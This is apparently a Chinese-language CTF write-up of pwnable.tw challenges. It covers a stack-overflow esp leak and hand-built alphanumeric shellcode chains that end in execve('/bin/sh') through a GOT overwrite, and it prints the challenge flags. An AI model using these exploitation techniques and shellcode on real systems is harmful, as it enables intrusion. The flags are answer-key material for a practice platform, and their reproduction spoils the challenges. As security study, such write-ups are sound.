pwnable.tw刷题记录
start
序言
第一关,我都不会,题目果真硬核,我看得懂栈溢出,但不知道怎么利用,想jmp esp,发觉没有这个ropgadget,后面卡死了,
利用过程
而大佬们总是非常优秀,看到了push esp,这里的话,esp存在了栈里,所以这题是故意这么出的,然后通过返回到mov ecx,esp处,泄露esp,泄露esp后,往esp处写执行代码,到时候ret 的时候,就是将esp处代码进行执行了
exp
1 | #!/usr/bin/env python2 |
flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
orw
这题我知道,看过,上次手写orw的shellcode的时候就搜到他了,拿我上次shellcode测试下
exp
1 | #!/usr/bin/env python2 |
flag
FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
calc
较麻烦,先过
alive_note
漏洞利用
自己利用还是不会,我感觉这题比那个note-service2难多了,讲真,这题考的纯字母数字shellcode在加上shellcode链构造,这是目前我遇到的最难的shellcode题目了
照着shellcode分析一遍,将过程梳理下
整体思路是通过构造shellcode链, 然后read(0,heap,size),读入shellcode执行, 这样就可以有非限制字符了
数字字母汇编代码,大佬总结的
1 | 1.数据传送: |
- 确认需要读取的heap,我们可以将heap设置为我们已执行过的shellcode链的堆块,也就是说执行前的堆块都行,我们就用第1个堆块
- 我们要执行int 80软中断,read是eax=3,ebx=0,ecx=heap,edx=size
- 首先我们可以获得的是ecx,因为free调用的时候会传入heap地址,所以第一步设置ecx,这里经过测试发觉free的堆块地址会放到eax里,同时还有空闲字节设置edx=size
1 | push eax |
发觉jne的0x不好选,因为题目有限制,看限制
顺序: 1->5->2->6->4
1 | ['0x0', '0x20', '0x30', '0x31', '0x32', '0x33', '0x34', '0x35', '0x36', '0x37', '0x38', '0x39', '0x41', '0x42', '0x43', '0x44', '0x45', '0x46', '0x47', '0x48', '0x49', '0x4a', '0x4b', '0x4c', '0x4d', '0x4e', '0x4f', '0x50', '0x51', '0x52', '0x53', '0x54', '0x55', '0x56', '0x57', '0x58', '0x59', '0x5a', '0x61', '0x62', '0x63', '0x64', '0x65', '0x66', '0x67', '0x68', '0x69', '0x6a', '0x6b', '0x6c', '0x6d', '0x6e', '0x6f', '0x70', '0x71', '0x72', '0x73', '0x74', '0x75', '0x76', '0x77', '0x78', '0x79', '0x7a'] |
所以我们选的常数要在这个范围里面,0x7a就是因为他是最大的,所以我们就选了edx为0x7a,最好选的就是0x38左右,为什么,我第一个shellcode长度为8
1 | 0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #堆块1完成 |
以这个为例子就是填充到0x10处,所以最小的限制字符就是0x30开头了,那就跳到0x48处,
jne跳转计算为0x48-0x10=0x38,所以第一个跳就是jne 0x3a,因为要-2,这个机器码对应的才是跳0x38
- 我跳转到了第5块堆块,然后又要跳回来的话,就要设置大于0x80大小的值(因为0x80前是正数,0x80后才是负数),所以有
1 | 0x18-0x4d & 0xff) hex( |
所以jne 0xcb是我们想要的结果,然后这个对应的机器码为75C9,其实0xcb可以不用计算器算,用吾爱工具跳转指令计算器0.4b计算的我是,找了好久才用他,输入0x4d和0x18 就出来了,接下来将C9转换成可见字符,
xor byte ptr[ecx+0x46]
1 | 0x4e-0x8) hex( |
是0x46,这里就是计算那个偏移了ecx是堆块0,然后偏移
1 | pop eax |
1 | 0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成 |
- 接下来本应该是第2块堆块了
参数已经设置好了,现在最主要要构造int 0x80了,所以就是xor变成int 0x80
我们将int 0x80放在最后一个执行的堆块里,就是第4块堆块,所以还是得先设置第四块
- 设置第四块
参数还要设置eax为0x3,所以先将eax变为0,
1 | pop eax |
1 | 0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成 |
- 再次回到第二块堆块
1 | xor al,0x46 #al=0xb9 |
1 | pop eax |
1 | 0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成 |
- 第六块堆块了
先将堆块4改了
1 | xor byte ptr[ecx+0x36],al #int 0x80设置好了,3个字节 |
1 | pop eax |
1 | 0xb9^0x80) hex( |
1 | 0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成 |
- 将这些汇编代码转为可见字符,这里我用ollydbg加跳转指令计算器
第一段:
1 | 0x3875535a7a6a5950) p64( |
PYjzZSu8
第二段:
1 | 0x3875533541304634) p64( |
4F0A5Su8
第三段: 随便
第四段:
1 | 0x39743034333458) p64( |
X4340t9
第五段:
1 | 0x36754641304858) p64( |
XH0AFu6
第六段:
1 | 0x6175574130364130) p64( |
PYjzZSu8
4F0A5Su8
11111111
X4340t9
XH0AFu6
0A60AWua
- 做完这些过后,填充前面的,然后shellcode就行,位置0x38+7-0x8=0x37
所以就是’a’*0x37 + asm(shellcraft.sh())
执行过程
至于执行过程呢,free(offset),然后就开始执行free_got表里的shellcode,也就是offset处的shellcode,接着跳来跳去就完成了
还有就是没必要跟我一样挑难的来,网上好多大佬都是中间用三个堆块填充,这样跳转不用计算来计算去,那样好算点,我是为了复习汇编加理解原理搞复杂的
exp
1 | #!/usr/bin/env python2 |
death_note
做完alive_note来做这道,看了下,难度比上一题确实简单了一些,上一题手写shellcode跳转链条,真的麻烦,这题直接0x50字节的shellcode执行就行,还是改got表,然后手写汇编就ok了
构造shellcode思路
首先得明白我们应该要什么样的结果
1 | eax=0xb |
然后开始构造
- 先用shellcraft.sh()生成shellcode,发觉还是有可取之处,我们将push /bin/sh部分取出来就好了
1 | asm(shellcraft.sh()) |
1 | push 0x68 |
然后修改代码,mov ebx,esp改成push esp, pop ebx
1 | push 0x68 #push /bin/sh |
- 我free的时候会传进来heap地址,所以我们初始地址存在了eax里,记得保存,还有传进来同时ecx=0xa,edx=0,这些都是可以利用的,构造eax=0xb
1 | push ecx |
同时,这段代码可以作为滑板,一直执行
- 构造ecx=0
1 | push edx |
- 最主要要构造int 0x80,先将前面的shellcode拼接起来,具体怎么个顺序可以自行调整,不过要清楚寄存器没有被破坏
我构造了这样的顺序
1 | push ecx |
最前面来构造int 0x80,因为此时堆块地址还未被破坏,
1 | push eax #堆块地址 |
这里要注意的是ebx+0x35这是我自行构造出来的,通过这一段当作滑板,构造出可见字符常数
1 | push ecx |
所以最后就是
1 | push eax #堆块地址 |
最后加上’\x74\x39’这个,拿来构造int 0x80的,就好了
exp
1 | #!/usr/bin/env python2 |
本文作者:NoOne
本文地址: https://noonegroup.xyz/posts/1b0e37dd/
版权声明:转载请注明出处!